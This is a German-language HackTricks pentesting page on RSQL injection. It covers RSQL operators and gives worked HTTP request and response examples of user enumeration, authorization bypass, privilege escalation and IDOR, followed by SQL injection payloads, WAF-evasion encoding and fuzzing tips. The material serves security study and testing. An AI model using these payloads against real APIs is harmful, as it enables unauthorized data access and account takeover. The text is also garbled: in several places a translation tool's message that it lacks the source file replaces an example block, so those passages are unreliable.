RSQL Injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist RSQL?
RSQL ist eine Abfragesprache, die für die parametrische Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), ursprünglich von Mark Nottingham zur Abfrage von Atom-Feeds spezifiziert, zeichnet sich RSQL durch seine Einfachheit und die Fähigkeit aus, komplexe Abfragen kompakt und URI-kompatibel über HTTP auszudrücken. Damit ist es eine ausgezeichnete Wahl als allgemeine Abfragesprache für die Suche an REST-Endpunkten.
Übersicht
RSQL Injection ist eine Schwachstelle in Webanwendungen, die RSQL als Abfragesprache in RESTful APIs verwenden. Ähnlich wie SQL Injection und LDAP Injection tritt diese Schwachstelle auf, wenn RSQL-Filter nicht richtig bereinigt werden, wodurch ein Angreifer bösartige Abfragen injizieren kann, um unautorisiert auf Daten zuzugreifen, diese zu verändern oder zu löschen.
Wie funktioniert es?
RSQL ermöglicht es, in RESTful APIs komplexe Abfragen zu erstellen, zum Beispiel:
/products?filter=price>100;category==electronics
Das übersetzt sich in eine strukturierte Abfrage, die Produkte filtert, deren Preis größer als 100 und deren Kategorie “electronics” ist.
Wenn die Anwendung Benutzereingaben nicht korrekt validiert, könnte ein Angreifer den Filter manipulieren, um unerwartete Abfragen auszuführen, z. B.:
/products?filter=id=in=(1,2,3);delete_all==true
Oder sogar ausnutzen, um sensible Informationen mit Boolean-Queries oder verschachtelten Subqueries zu extrahieren.
Risiken
- Offenlegung sensibler Daten: Ein Angreifer kann Informationen abrufen, die nicht zugänglich sein sollten.
- Datenmanipulation oder -löschung: Einspeisen von Filtern, die Datenbankeinträge verändern.
- Privilegieneskalation: Manipulation von Identifikatoren, die Rollen über Filter zuweisen, um die Anwendung zu täuschen und mit den Rechten anderer Benutzer zuzugreifen.
- Umgehung von Zugriffskontrollen: Manipulation von Filtern, um auf eingeschränkte Daten zuzugreifen.
- Impersonation oder IDOR: Änderung von Identifikatoren zwischen Benutzern mittels Filtern, die Zugriff auf Informationen und Ressourcen anderer Benutzer ermöglichen, ohne korrekt als diese authentifiziert zu sein.
Unterstützte RSQL-Operatoren
| Operator | Beschreibung | Beispiel |
|---|---|---|
; / and | Logischer AND-Operator. Filtert Zeilen, in denen beide Bedingungen wahr sind | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Logischer OR-Operator. Filtert Zeilen, in denen mindestens eine Bedingung wahr ist | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Führt eine Gleichheitsabfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA genau dem queryValue entsprechen | /api/v2/myTable?q=columnA==queryValue |
=q= | Führt eine Suchabfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA das queryValue enthalten | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Führt eine like-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA dem queryValue ähneln | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Führt eine in-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen columnA den Wert valueA ODER valueB enthält | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Führt eine Ausschluss-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA weder valueA noch valueB sind | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Führt eine not equals-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA nicht gleich queryValue sind | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Führt eine not like-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA nicht wie queryValue sind | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Führt eine lesser than-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA kleiner als queryValue sind | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Führt eine kleiner oder gleich-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA kleiner als oder gleich queryValue sind | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Führt eine greater than-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA größer als queryValue sind | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Führt eine Abfrage “gleich oder größer” durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA gleich oder größer als queryValue sind | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Führt eine from-to-Abfrage durch. Gibt alle Zeilen aus myTable zurück, in denen die Werte in columnA größer oder gleich dem fromValue und kleiner oder gleich dem toValue sind | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Hinweis: Tabelle basiert auf Informationen von MOLGENIS und rsql-parser Anwendungen.
Beispiele
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Hinweis: Tabelle basiert auf Informationen von rsql-parser Anwendung.
Gängige Filter
Diese Filter helfen, Abfragen in APIs zu verfeinern:
| Filter | Beschreibung | Beispiel |
|---|---|---|
filter[users] | Filtert Ergebnisse nach bestimmten Benutzern | /api/v2/myTable?filter[users]=123 |
filter[status] | Filtert nach Status (active/inactive, completed, etc.) | /api/v2/orders?filter[status]=active |
filter[date] | Filtert Ergebnisse innerhalb eines Datumsbereichs | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Filtert nach Kategorie oder Ressourcentyp | /api/v2/products?filter[category]=electronics |
filter[id] | Filtert nach einer eindeutigen Kennung | /api/v2/posts?filter[id]=42 |
Gängige Parameter
Diese Parameter helfen, API-Antworten zu optimieren:
| Parameter | Beschreibung | Beispiel |
|---|---|---|
include | Bezieht verwandte Ressourcen in die Antwort ein | /api/v2/orders?include=customer,items |
sort | Sortiert Ergebnisse in auf- oder absteigender Reihenfolge | /api/v2/users?sort=-created_at |
page[size] | Steuert die Anzahl der Ergebnisse pro Seite | /api/v2/products?page[size]=10 |
page[number] | Gibt die Seitennummer an | /api/v2/products?page[number]=2 |
fields[resource] | Definiert, welche Felder in der Antwort zurückgegeben werden | /api/v2/users?fields[users]=id,name,email |
search | Ermöglicht eine flexiblere Suche | /api/v2/posts?search=technology |
Offenlegung von Informationen und Aufzählung von Benutzern
Die folgende Anfrage zeigt einen Registrierungs-Endpoint, der den email-Parameter benötigt, um zu prüfen, ob ein Benutzer mit dieser E-Mail registriert ist, und true oder false zurückgibt, je nachdem, ob er in der Datenbank existiert oder nicht:
Anfrage
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Obwohl eine /api/registrations?email=<emailAccount> erwartet wird, ist es möglich, RSQL filters zu verwenden, um zu versuchen, Benutzerinformationen zu enumerate und/oder extracten, indem spezielle Operatoren eingesetzt werden:
Anfrage
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe den Inhalt der Datei src/pentesting-web/rsql-injection.md nicht erhalten. Bitte füge hier den Markdown-Text dieser Datei ein (inkl. codeblocks, Links und Tags). Ich werde dann den englischen Text ins Deutsche übersetzen und dabei alle Markdown-/HTML-Tags, Links, Pfade und spezifizierte Ausdrücke unverändert lassen.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
Im Fall einer Übereinstimmung mit einem gültigen E-Mail-Konto würde die Anwendung die Benutzerinformationen zurückgeben, statt eines klassischen “true”, “1” oder ähnlichem in der Antwort an den Server:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I don’t have the content of src/pentesting-web/rsql-injection.md. Please paste the text you want translated to German.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Autorisierungsumgehung
In diesem Szenario starten wir mit einem Benutzer mit einer Basisrolle, der keine privilegierten Berechtigungen (z. B. Administrator) besitzt, um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen:
Anfrage
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Bitte füge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, damit ich ihn ins Deutsche übersetzen kann (Markdown-/HTML-Syntax und Tags bleiben unverändert).
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Erneut nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, Informationen über die users zu erhalten und die Zugangskontrolle zu umgehen. Beispielsweise filtere nach jenen users, die den Buchstaben “a” in ihrer user ID enthalten:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
Es ist sehr wahrscheinlich, bestimmte Endpunkte zu finden, die Benutzerrechte anhand ihrer Rolle prüfen. Zum Beispiel haben wir es mit einem Benutzer ohne Privilegien zu tun:
Anfrage
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Text zum Übersetzen erhalten. Bitte füge hier den Inhalt der Datei src/pentesting-web/rsql-injection.md (Markdown) ein, dann übersetze ich den relevanten englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade und die angegebenen Wörter unverändert.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Durch die Verwendung bestimmter Operatoren konnten wir Administratoren enumerate:
Anfrage
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Inhalt zum Übersetzen erhalten. Bitte füge den Inhalt der Datei src/pentesting-web/rsql-injection.md (oder den zu übersetzenden Abschnitt) hier ein, dann übersetze ich ihn ins Deutsche und erhalte dabei die Markdown-/HTML-Syntax unverändert.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
Nachdem man die Kennung eines Administrator-Accounts kennt, lässt sich eine Privilegieneskalation ausnutzen, indem man den entsprechenden Filter durch die Kennung des Administrators ersetzt oder hinzufügt und so dieselben Privilegien erhält:
Anfrage
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Zugriff auf die Datei. Bitte füge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, dann übersetze ich ihn ins Deutsche unter Beibehaltung aller Markdown-/HTML-Tags, Links und Pfade.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
Zusätzlich zur Verwendung des filter-Parameters ist es möglich, andere Parameter wie include zu verwenden, die es erlauben, bestimmte Felder im Ergebnis einzuschließen (z. B. Sprache, Land, Passwort…).
Im folgenden Beispiel werden die Informationen unseres Benutzerprofils angezeigt:
Anfrage
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Die Kombination von Filtern kann verwendet werden, um Autorisierungskontrollen zu umgehen und Zugriff auf die Profile anderer Benutzer zu erhalten:
Anfrage
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Inhalt zum Übersetzen erhalten. Bitte füge den Text der Datei src/pentesting-web/rsql-injection.md hier ein, dann übersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Erkennung & fuzzing — schnelle Erfolge
- Prüfe auf RSQL-Unterstützung, indem du harmlose Prüfungen sendest wie
?filter=id==test,?q==testoder fehlformatierte Operatoren=foo=; ausführliche APIs leak oft Parser-Fehler (“Unknown operator” / “Unknown property”). - Viele Implementierungen parsen URL-Parameter doppelt; versuche,
(,),*,;doppelt zu encodieren (z. B.%2528admin%2529), um naive Blocklisten und WAFs zu umgehen. - Boolean exfil mit Wildcards:
filter[users]=email==*%@example.com;status==ACTIVEund drehe die Logik mit,(OR) um, um Antwortgrößen zu vergleichen. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)ermöglicht schnelle Enumerierung nach Jahr, ohne genaue IDs zu kennen.
Framework-spezifischer Missbrauch (Elide / JPA Specification / JSON:API)
- Elide und viele Spring Data REST-Projekte übersetzen RSQL direkt in JPA Criteria. Wenn Entwickler benutzerdefinierte Operatoren hinzufügen (z. B.
=ilike=) und Prädikate via String-Konkatenation statt mit vorbereiteten Parametern aufbauen, kannst du zu SQLi pivotieren (klassische Payload:name=ilike='%%' OR 1=1--'). - Der Elide analytic data store akzeptiert parameterisierte Spalten; die Kombination von vom Benutzer kontrollierten analytic params mit RSQL-Filtern war die Hauptursache für SQLi in CVE-2022-24827. Selbst wenn gepatchte Versionen korrekt parameterisieren, bleibt ähnliche maßgeschneiderte Logik oft bestehen — suche nach
@JoinFilter/@ReadPermissionSpEL-Ausdrücken mit${}und versuche,';sleep(5);'oder logische Tautologien einzuschleusen. - JSON:API-Backends stellen häufig sowohl
includeals auchfilterbereit. Das Filtern auf verwandten Ressourcenfilter[orders]=customer.email==*admin*kann Top-Level-ACLs umgehen, weil Filter auf Relationsebene vor Eigentumsprüfungen ausgeführt werden.
Automatisierungshilfen
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"validiert Payloads lokal und zeigt den abstrakten Syntaxbaum — nützlich, um ausgeglichene Klammern und eigene Operatoren zu entwerfen. - Python Schnell-Builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- Kombiniere einen HTTP fuzzer (ffuf, turbo-intruder), indem du Wildcard-Positionen
*a*,*e*usw. innerhalb von=in=-Listen iterierst, um schnell IDs und emails zu enumerate.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


